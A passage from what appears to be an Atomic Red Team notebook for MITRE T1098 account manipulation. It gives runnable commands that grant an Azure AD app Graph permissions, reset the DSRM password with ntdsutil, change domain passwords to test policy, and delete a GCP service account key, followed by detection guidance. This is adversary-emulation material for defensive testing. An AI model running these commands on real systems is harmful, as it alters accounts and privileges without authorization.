Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "db2f0af8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 8 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "9ed65ffc", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication -DisplayName \"test_app\"\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication -Filter \"DisplayName eq 'test_app'\"\n\n#Get Service Principal of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set Application Permissions\n$ApplicationPermissions = @('DirectoryRecommendations.Read.All')\n\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type = \"Role\"\n$resourceAccess.Id = $reqPermission.Id \n#Add required app permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host \"App permission $permission not found in the Graph Resource API\" -ForegroundColor Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e66d6609", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "cb4265b8", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = @(Get-AzureADApplication -Filter \"DisplayName eq 'test_app'\")\nIf ($aadApplication.Count -eq 0)\n{\n Write-Host \"App not found: cannot delete it\"\n exit\n}\nElseIf ($aadApplication.Count -gt 1)\n{\n Write-Host \"Found several app with name 'test_app': one is likely the one this technique created, but as a precaution, none will be deleted. Manual cleanup is required.\"\n exit\n}\nElse\n{\n Remove-AzureADApplication -ObjectId $aadApplication[0].ObjectId\n Write-Host \"Successfully deleted app\"\n}\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "61c9b313", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "2035a785", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Password Change on Directory Service Restore Mode (DSRM) Account", + "Change the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nntdsutil \"set dsrm password\" \"sync from domain account %username%\" \"q\" \"q\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1a3eaf2a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "3f96dce1", + "metadata": {}, + "source": "### Atomic Test #10 - Domain Password Policy Check: Short Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f7f870ed", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "6d9298dc", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"Uplow-1\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString Uplow-1 -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to Uplow-1\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"Uplow-1\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0a791058", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "3ab99a2a", + "metadata": {}, + "source": "### Atomic Test #11 - Domain Password Policy Check: No Number in Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f628bbb4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 11 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "217df822", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"UpperLowerLong-special\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString UpperLowerLong-special -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to UpperLowerLong-special\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"UpperLowerLong-special\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0ce53451", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "bb325a90", + "metadata": {}, + "source": "### Atomic Test #12 - Domain Password Policy Check: No Special Character in Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e28329fa", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 12 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "7570c48e", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"UpperLowerLong333noSpecialChar\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString UpperLowerLong333noSpecialChar -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to UpperLowerLong333noSpecialChar\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"UpperLowerLong333noSpecialChar\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "811e1167", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "1588bc1c", + "metadata": {}, + "source": "### Atomic Test #13 - Domain Password Policy Check: No Uppercase Character in Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "75c99469", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 13 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "cc9f3eff", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"lower-long-special-333\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString lower-long-special-333 -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to lower-long-special-333\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"lower-long-special-333\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c0d2c8d1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 13" + }, + { + "cell_type": "markdown", + "id": "58fa4c51", + "metadata": {}, + "source": "### Atomic Test #14 - Domain Password Policy Check: No Lowercase Character in Password\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c584ff22", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 14 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "1501f0c7", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"UPPER-LONG-SPECIAL-333\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString UPPER-LONG-SPECIAL-333 -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to UPPER-LONG-SPECIAL-333\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"UPPER-LONG-SPECIAL-333\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "eafb426f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 14" + }, + { + "cell_type": "markdown", + "id": "ea832e9b", + "metadata": {}, + "source": "### Atomic Test #15 - Domain Password Policy Check: Only Two Character Classes\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ce1ae539", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 15 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "ab99a8d2", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"onlyUPandLowChars\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString onlyUPandLowChars -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to onlyUPandLowChars\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"onlyUPandLowChars\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ef84a300", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 15" + }, + { + "cell_type": "markdown", + "id": "2c84e1d7", + "metadata": {}, + "source": "### Atomic Test #16 - Domain Password Policy Check: Common Password Use\nAttempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Password for current user must be stored in a credential file\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\") -ErrorAction Ignore | Out-Null\n$cred = Get-Credential -UserName $env:USERNAME -message \"Enter password for $env:USERNAME to use during password change attempt\"\n$cred.Password | ConvertFrom-SecureString | Out-File \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "78dba41e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 16 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "42fc53ea", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$credFile = \"$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt\"\nif (Test-Path $credFile) {\n $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n if($cred.GetNetworkCredential().Password -eq \"Spring$((Get-Date).Year)!\"){\n Write-Host -ForegroundColor Yellow \"The new password is the same as the password stored in the credential file. Please specify a different new password.\"; exit -1\n }\n try {\n $newPassword = ConvertTo-SecureString Spring$((Get-Date).Year)! -AsPlainText -Force\n Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword\n }\n catch { \n $_.Exception\n $errCode = $_.Exception.ErrorCode\n Write-Host \"Error code: $errCode\"\n if ($errCode -eq 86) {\n Write-Host -ForegroundColor Yellow \"The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials\"\n Remove-Item $credFile\n }\n exit $errCode\n }\n Write-Host -ForegroundColor Cyan \"Successfully changed the password to Spring$((Get-Date).Year)!\"\n $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString \"Spring$((Get-Date).Year)!\" -AsPlainText -Force))\n $newCred.Password | ConvertFrom-SecureString | Out-File $credFile\n}\nelse {\n Write-Host -ForegroundColor Yellow \"You must store the password of the current user by running the prerequisite commands first\"\n}\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "905edbb2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 16" + }, + { + "cell_type": "markdown", + "id": "fa710c69", + "metadata": {}, + "source": "### Atomic Test #17 - GCP - Delete Service Account Key\nThis Atomic will: \n - Create a service account\n - Create a service account key, \n - Store the result of retrieving a single key for that service account as a variable\n - Pass that variable for deletion\n - Delete the service account\n\nThe idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP).\nEach service account is associated with two sets of public/private RSA key pairs that are used to authenticate. \nIf a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly.\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n\n**Supported Platforms:** iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```sh\nterraform version\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the terraform.\n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```sh\nstat \"$PathToAtomicsFolder/T1098/src/T1098-17/terraform.tfstate\"\n\n```\n##### Get Prereq Commands:\n```sh\ncd \"$PathToAtomicsFolder/T1098/src/T1098-17/\"\nterraform init\nterraform apply -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "415def0a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 17 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "9f56d361", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ngcloud config set project atomic-test-1\nKEY=`gcloud iam service-accounts keys list --iam-account=atomic-service-account@atomic-test-1.iam.gserviceaccount.com --format=\"value(KEY_ID)\" --limit=1`\ngcloud iam service-accounts keys delete $KEY --iam-account=atomic-service-account@atomic-test-1.iam.gserviceaccount.com --quiet\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f86d03bd", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 17" + }, + { + "cell_type": "markdown", + "id": "11d066db", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ncd \"$PathToAtomicsFolder/T1098/src/T1098-17/\"\nterraform state rm google_service_account_key.key\nterraform destroy -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a39739af", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098 -TestNumbers 17 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "86498368", + "metadata": {}, + "source": "## Detection\nCollect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)" + }, + { + "cell_type": "markdown", + "id": "3426db1b", + "metadata": {}, + "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can implement monitoring to alert if a user account is altered outside normal business hours, from remote locations, etc.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" + } + ], + "metadata": { + "kernelspec": { + 